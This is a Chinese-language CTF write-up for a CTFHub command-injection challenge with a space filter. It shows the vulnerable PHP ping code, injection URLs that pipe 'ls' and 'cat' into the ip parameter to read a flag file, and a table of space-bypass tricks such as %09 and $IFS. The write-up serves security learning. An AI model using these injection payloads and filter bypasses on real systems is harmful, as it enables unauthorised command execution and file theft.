0x00 前言
CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。
0x01 题目描述
过滤空格:
这次过滤了空格,你能绕过吗。
![](https://i-blog.csdnimg.cn/blog_migrate/3f1ed7f28df2f97d9494409d8c74db9b.png)
0x02 解题过程
Ⅰ检查网页源代码发现这题如果有空格就不会执行,说明这题对空格做了过滤处理。同样在输入框中输入 IP 进行测试,可以正常回显。
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
Ⅱ在 URL 后加入管道符号,输入 ls 命令进行查看,同样发现一个 flag 可疑文件。
http://challenge-150707dae6f3ddfe.sandbox.ctfhub.com:10800/?ip=127.0.0.1|ls
Ⅲ在管道符后输入 cat flag 命令进行查看。因为这题过滤了空格,如果在 URL 中输入空格,则不会执行 ping 命令。那么这里将空格替换为 %09 ,也就是 ASCII 的 Tab 键。检查网页,同样是有传递无内容,检查网页源代码发现此题 flag 。
http://challenge-150707dae6f3ddfe.sandbox.ctfhub.com:10800/?ip=127.0.0.1|cat%09flag_5338166523061.php
0x03 常见绕过方法
过滤空格指的是从一段文本中去除空格,即删除字符串中的空格字符。在 URL 中,我们输入的符号都会由 URL 编码进行转换输出,例如 %20 在 URL 中就代表空格的意思。
名称 | 介绍 |
< | 表示输入重定向,可以将文件或命令的输出作为输入传递给另一个命令。 |
<> | 表示输入输出的重定向。可以将文件或命令的输出作为输入传递给另一个命令,并将输出重定向到另一个文件。 |
%09 | 在 URL 中表示制表符。 |
%20 | 在 URL 中表示空格。 |
$IFS | 直接使用 $IFS 变量表示空格。 |
\${IFS} | 与 $IFS 变量一致,添加了反斜杠以及大括号。 |
0x04 总结
文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。